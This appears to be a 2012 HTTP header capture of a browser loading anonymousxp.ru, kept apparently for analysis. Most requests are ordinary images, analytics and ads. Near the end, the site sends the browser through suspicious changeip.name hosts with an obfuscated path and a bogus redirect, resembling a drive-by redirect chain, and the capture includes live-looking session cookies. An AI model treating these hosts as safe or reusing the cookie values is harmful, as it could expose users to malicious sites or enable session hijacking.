Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/_st/my.css
 
HTTP/1.1 200 OK

Content-Type: image/png

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Content-Length: 977
Last-Modified: Sat, 06 Oct 2012 08:14:56 GMT
Connection: keep-alive
Keep-Alive: timeout=15
Etag: &quot;506fe880-3d1&quot;
Accept-Ranges: bytes
GET /images/casing.png HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/_st/my.css
 
HTTP/1.1 200 OK

Content-Type: image/png

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Content-Length: 168
Last-Modified: Sat, 06 Oct 2012 08:14:54 GMT
Connection: keep-alive
Keep-Alive: timeout=15
Etag: &quot;506fe87e-a8&quot;
Accept-Ranges: bytes
GET /watch/17640652?rn=634745&wmode=5&callback=_ymjsp508385&page-url=http%3A%2F%2Fanonymousxp.ru%2F&browser-info=j:1:s:1176x885x24:f:10.0.45:w:1159x778:z:60:i:20121103091051:en:utf-8:v:1825:c:1:la:en-us:hid:471828607:t:anonymousXP%20-%20%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F%20%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0 HTTP/1.1

Host: mc.yandex.ru
GET /watch/17640652?rn=634745&amp;wmode=5&amp;callback=_ymjsp508385&amp;page-url=http%3A%2F%2Fanonymousxp.ru%2F&amp;browser-info=j:1:s:1176x885x24:f:10.0.45:w:1159x778:z:60:i:20121103091051:en:utf-8:v:1825:c:1:la:en-us:hid:471828607:t:anonymousXP%20-%20%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F%20%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 302 Found

HTTP/1.1 302 Found

Date: Sat, 03 Nov 2012 08:10:51 GMT
Server: Phantom/0.0.0
P3P: CP=&quot;NOI DEVa TAIa OUR BUS UNI STA&quot;
Last-Modified: Sat, 03 Nov 2012 08:10:51 GMT
Expires: Sat, 03 Nov 2012 08:10:51 GMT
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Pragma: no-cache
Location: http://mc.yandex.ru/watch/17640652/1?rn=634745&amp;wmode=5&amp;callback=_ymjsp508385&amp;page-url=http%3A%2F%2Fanonymousxp.ru%2F&amp;browser-info=j:1:s:1176x885x24:f:10.0.45:w:1159x778:z:60:i:20121103091051:en:utf-8:v:1825:c:1:la:en-us:hid:471828607:t:anonymousXP%20-%20%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F%20%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0
Set-Cookie: yandexuid=212149281351930251; domain=.yandex.ru; path=/; expires=Tue, 01-Nov-2022 08:10:51 GMT
yabs-sid=1904911751351930251; path=/
Content-Length: 0
GET /.s/img/uidlogin/ulb-left.png HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: image/png

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Content-Length: 3424
Last-Modified: Tue, 26 Jun 2012 12:07:11 GMT
Connection: keep-alive
Keep-Alive: timeout=15
Etag: &quot;4fe9a5ef-d60&quot;
Expires: Fri, 23 Nov 2012 08:10:51 GMT
Cache-Control: max-age=1728000
Accept-Ranges: bytes
GET /.s/img/uidlogin/ulb-right.png HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: image/png

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Content-Length: 1382
Last-Modified: Tue, 26 Jun 2012 12:07:11 GMT
Connection: keep-alive
Keep-Alive: timeout=15
Etag: &quot;4fe9a5ef-566&quot;
Expires: Fri, 23 Nov 2012 08:10:51 GMT
Cache-Control: max-age=1728000
Accept-Ranges: bytes
GET /.s/img/uidlogin/ulb-mid.png HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: image/png

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Content-Length: 1021
Last-Modified: Tue, 26 Jun 2012 12:07:11 GMT
Connection: keep-alive
Keep-Alive: timeout=15
Etag: &quot;4fe9a5ef-3fd&quot;
Expires: Fri, 23 Nov 2012 08:10:51 GMT
Cache-Control: max-age=1728000
Accept-Ranges: bytes
GET /mrx.js?p=6&l=US&u0=US%7CavEJk5%7Cleft%7Cs67 HTTP/1.1

Host: u-mrx.addflow.ru
GET /mrx.js?p=6&amp;l=US&amp;u0=US%7CavEJk5%7Cleft%7Cs67 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/abnl/?begun=1&amp;l=US&amp;u0=US%7CavEJk5%7Cleft%7Cs67
 
HTTP/1.1 200 OK

Content-Type: text/javascript

Server: nginx/1.0.15
Date: Sat, 03 Nov 2012 08:10:51 GMT
Connection: keep-alive
Content-Length: 1048
Set-Cookie: Uhy6Tf=de519916%2Db9d2%2D42b0%2Da22f%2D791be5d0031c; expires=Sunday, 03-Nov-2013 08:10:51 GMT; domain=.addflow.ru
Uhy6Tf37=1; expires=Saturday, 03-Nov-2012 20:00:00 GMT; domain=u-mrx.addflow.ru
Uhy6Tfprts_list=%7C6%7C; expires=Sunday, 03-Nov-2013 08:10:51 GMT; domain=u-mrx.addflow.ru
P3P: CP: IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT
GET /images/footer.png HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/_st/my.css
 
HTTP/1.1 200 OK

Content-Type: image/png

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Content-Length: 193
Last-Modified: Sat, 06 Oct 2012 08:14:55 GMT
Connection: keep-alive
Keep-Alive: timeout=15
Etag: &quot;506fe87f-c1&quot;
Accept-Ranges: bytes
GET /.s/flash/tagcloud.swf?tcolor=0xFFFFFF&hicolor=0xFFFFFF HTTP/1.1

Host: anonymousxp.ru
GET /.s/flash/tagcloud.swf?tcolor=0xFFFFFF&amp;hicolor=0xFFFFFF HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: application/x-shockwave-flash

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Content-Length: 52305
Last-Modified: Mon, 31 Aug 2009 15:44:25 GMT
Connection: keep-alive
Keep-Alive: timeout=15
Etag: &quot;4a9befd9-cc51&quot;
Expires: Fri, 23 Nov 2012 08:10:51 GMT
Cache-Control: max-age=1728000
Accept-Ranges: bytes
GET /watch/17640652/1?rn=634745&wmode=5&callback=_ymjsp508385&page-url=http%3A%2F%2Fanonymousxp.ru%2F&browser-info=j:1:s:1176x885x24:f:10.0.45:w:1159x778:z:60:i:20121103091051:en:utf-8:v:1825:c:1:la:en-us:hid:471828607:t:anonymousXP%20-%20%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F%20%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0 HTTP/1.1

Host: mc.yandex.ru
GET /watch/17640652/1?rn=634745&amp;wmode=5&amp;callback=_ymjsp508385&amp;page-url=http%3A%2F%2Fanonymousxp.ru%2F&amp;browser-info=j:1:s:1176x885x24:f:10.0.45:w:1159x778:z:60:i:20121103091051:en:utf-8:v:1825:c:1:la:en-us:hid:471828607:t:anonymousXP%20-%20%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F%20%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
Cookie: yandexuid=212149281351930251; yabs-sid=1904911751351930251
 
HTTP/1.1 200 OK

Content-Type: text/javascript

Date: Sat, 03 Nov 2012 08:10:51 GMT
Server: Phantom/0.0.0
P3P: CP=&quot;NOI DEVa TAIa OUR BUS UNI STA&quot;
Last-Modified: Sat, 03 Nov 2012 08:10:51 GMT
Expires: Sat, 03 Nov 2012 08:10:51 GMT
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Pragma: no-cache
Content-Length: 16
GET /ads/w3h.js HTTP/1.1

Host: u-mrx.addflow.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/abnl/?begun=1&amp;l=US&amp;u0=US%7CavEJk5%7Cleft%7Cs67
Cookie: Uhy6Tf=de519916%2Db9d2%2D42b0%2Da22f%2D791be5d0031c; Uhy6Tf37=1; Uhy6Tfprts_list=%7C6%7C
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Server: nginx/1.0.15
Date: Sat, 03 Nov 2012 08:10:51 GMT
Connection: keep-alive
Content-Length: 2610
Last-Modified: Thu, 06 Sep 2012 12:07:52 GMT
Accept-Ranges: bytes
GET /images/header.jpg HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/_st/my.css
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Content-Length: 101192
Last-Modified: Sat, 06 Oct 2012 08:14:56 GMT
Connection: keep-alive
Keep-Alive: timeout=15
Etag: &quot;506fe880-18b48&quot;
Accept-Ranges: bytes
GET /images/body.jpg HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/_st/my.css
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:51 GMT
Content-Length: 153660
Last-Modified: Sat, 06 Oct 2012 08:14:54 GMT
Connection: keep-alive
Keep-Alive: timeout=15
Etag: &quot;506fe87e-2583c&quot;
Accept-Ranges: bytes
GET /img/bn/clo2.gif HTTP/1.1

Host: s67.ucoz.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/abnl/?begun=1&amp;l=US&amp;u0=US%7CavEJk5%7Cleft%7Cs67
 
HTTP/1.1 200 OK

Content-Type: image/gif

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:52 GMT
Content-Length: 386
Last-Modified: Mon, 21 May 2012 21:01:27 GMT
Connection: keep-alive
Keep-Alive: timeout=15
Etag: &quot;4fbaad27-182&quot;
Expires: Fri, 23 Nov 2012 08:10:52 GMT
Cache-Control: max-age=1728000
Accept-Ranges: bytes
GET /ads/w3f.js HTTP/1.1

Host: u-mrx.addflow.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/abnl/?begun=1&amp;l=US&amp;u0=US%7CavEJk5%7Cleft%7Cs67
Cookie: Uhy6Tf=de519916%2Db9d2%2D42b0%2Da22f%2D791be5d0031c; Uhy6Tf37=1; Uhy6Tfprts_list=%7C6%7C
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Server: nginx/1.0.15
Date: Sat, 03 Nov 2012 08:10:52 GMT
Connection: keep-alive
Content-Length: 218
Last-Modified: Tue, 04 Sep 2012 15:24:00 GMT
Accept-Ranges: bytes
GET /img/icon/home.png HTTP/1.1

Host: s67.ucoz.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/abnl/?begun=1&amp;l=US&amp;u0=US%7CavEJk5%7Cleft%7Cs67
 
HTTP/1.1 200 OK

Content-Type: image/png

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:52 GMT
Content-Length: 248
Last-Modified: Mon, 21 May 2012 21:01:27 GMT
Connection: keep-alive
Keep-Alive: timeout=15
Etag: &quot;4fbaad27-f8&quot;
Expires: Fri, 23 Nov 2012 08:10:52 GMT
Cache-Control: max-age=1728000
Accept-Ranges: bytes
GET /v/cO0YLv7BxzE?&fs=1 HTTP/1.1

Host: youtube.com
GET /v/cO0YLv7BxzE?&amp;fs=1 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
Cookie: VISITOR_INFO1_LIVE=TIoxcizkAQ0; hideBrowserUpgradeBox=True; PREF=fv=10.0.45&amp;f4=4000
 
HTTP/1.1 500 Internal Server Error

Content-Type: text/html; charset=utf-8

Date: Sat, 03 Nov 2012 08:10:51 GMT
Server: Apache
Vary: Accept-Encoding
Content-Encoding: gzip
nnCoection: close
Transfer-Encoding: chunked
GET /get/flashplayer/update/current/xml/version_en_win_pl.xml HTTP/1.1

Host: fpdownload2.macromedia.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/xml

Server: Apache
Last-Modified: Wed, 03 Oct 2012 19:48:11 GMT
Etag: &quot;289dff-26c-4cb2ceb2654c0&quot;
Accept-Ranges: bytes
Content-Length: 620
Date: Sat, 03 Nov 2012 08:10:52 GMT
Connection: keep-alive
GET /_if/991.xml HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/xml; charset=UTF-8

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:52 GMT
Last-Modified: Sat, 03 Nov 2012 07:57:19 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=15
Content-Encoding: gzip
GET / HTTP/1.1

Host: s476upolikop.changeip.name

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://anonymousxp.ru/
 
HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip
Vary: Accept-Encoding
Date: Sat, 03 Nov 2012 08:10:54 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: close
Etag: &quot;346-5094a627-210b78f&quot;
Last-Modified: Sat, 03 Nov 2012 05:05:43 GMT
Content-Length: 497
GET /y-y-ui-96-6/78-g.js HTTP/1.1

Host: s476upolikop.changeip.name

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://s476upolikop.changeip.name/
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Date: Sat, 03 Nov 2012 08:10:54 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;a2-5094a427-2128d92&quot;
Last-Modified: Sat, 03 Nov 2012 04:57:11 GMT
Content-Length: 162
GET /hit?t44.6;rhttp%3A//anonymousxp.ru/;s1176*885*24;uhttp%3A//s476upolikop.changeip.name/;0.4722543221975929 HTTP/1.1

Host: counter.yadro.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://s476upolikop.changeip.name/
Cookie: FTID=1GbD6A01aRn2; VID=3FDBss1_Szn2
 
HTTP/1.1 302 Moved Temporarily

Content-Type: text/html

Date: Sat, 03 Nov 2012 08:10:54 GMT
Server: 0W/0.8c
Location: http://counter.yadro.ru/hit?q;t44.6;rhttp%3A//anonymousxp.ru/;s1176*885*24;uhttp%3A//s476upolikop.changeip.name/;0.4722543221975929
Content-Length: 32
Expires: Thu, 03 Nov 2011 20:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;UNI&quot;
Set-Cookie: FTID=0; path=/; expires=Sat, 01 Jan 2000 00:00:00 GMT; domain=.yadro.ru
GET /hit?q;t44.6;rhttp%3A//anonymousxp.ru/;s1176*885*24;uhttp%3A//s476upolikop.changeip.name/;0.4722543221975929 HTTP/1.1

Host: counter.yadro.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://s476upolikop.changeip.name/
Cookie: VID=3FDBss1_Szn2
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Sat, 03 Nov 2012 08:10:54 GMT
Server: 0W/0.8c
Connection: Close
Content-Length: 132
Expires: Thu, 03 Nov 2011 20:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache
GET /3)2*6*0?*+508-7**405*6*7*0*+ HTTP/1.1

Host: ural-motiop.changeip.name

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://s476upolikop.changeip.name/
 
HTTP/1.1 301 Moved Permanently

HTTP/1.1 301 Moved Permanently

Content-Encoding: gzip
Vary: Accept-Encoding
Transfer-Encoding: chunked
Date: Sat, 03 Nov 2012 08:10:55 GMT
Server: LiteSpeed
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: uidct=1351930255:97-0; Expires=Tuesday, 13-Nov-12 8:10:55 GMT; domain=ural-motiop.changeip.name; path=/
Location: http://www.google.com/ro346bots.txt
GET /ro346bots.txt HTTP/1.1

Host: www.google.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://s476upolikop.changeip.name/
Cookie: PREF=ID=18d07d2c5ecbbb08:U=205ee10a10512bfa:FF=0:TM=1350344350:LM=1350344627:S=oVTvNjgbzbFNBNUF; NID=64=UOjfkeau7k9dzmFvAsFwVqmD4s7g_bdUMaEnGOlKRSTKCit3R_G5xg2kMKTOgRf2IL0DzvimBbfFpj1mIHK6cKNk76wCsEyOlULvzyFq8aklSyHHGXGPdMpqcZCr8LfK
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

X-Content-Type-Options: nosniff
Date: Sat, 03 Nov 2012 08:10:55 GMT
Server: sffe
Content-Length: 944
X-XSS-Protection: 1; mode=block
GET /images/errors/logo_sm.gif HTTP/1.1

Host: www.google.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.google.com/ro346bots.txt
Cookie: PREF=ID=18d07d2c5ecbbb08:U=205ee10a10512bfa:FF=0:TM=1350344350:LM=1350344627:S=oVTvNjgbzbFNBNUF; NID=64=UOjfkeau7k9dzmFvAsFwVqmD4s7g_bdUMaEnGOlKRSTKCit3R_G5xg2kMKTOgRf2IL0DzvimBbfFpj1mIHK6cKNk76wCsEyOlULvzyFq8aklSyHHGXGPdMpqcZCr8LfK
 
HTTP/1.1 200 OK

Content-Type: image/gif

Last-Modified: Mon, 02 Apr 2012 02:13:37 GMT
Date: Sat, 03 Nov 2012 08:10:55 GMT
Expires: Sat, 03 Nov 2012 08:10:55 GMT
Cache-Control: private, max-age=31536000
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 3972
X-XSS-Protection: 1; mode=block
GET /favicon.ico HTTP/1.1

Host: anonymousxp.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: image/x-icon

Server: uServ/3.2.2
Date: Sat, 03 Nov 2012 08:10:55 GMT
Content-Length: 15273
Last-Modified: Sun, 14 Oct 2012 15:19:27 GMT
Connection: keep-alive
Keep-Alive: timeout=15
Etag: &quot;507ad7ff-3ba9&quot;
Accept-Ranges: bytes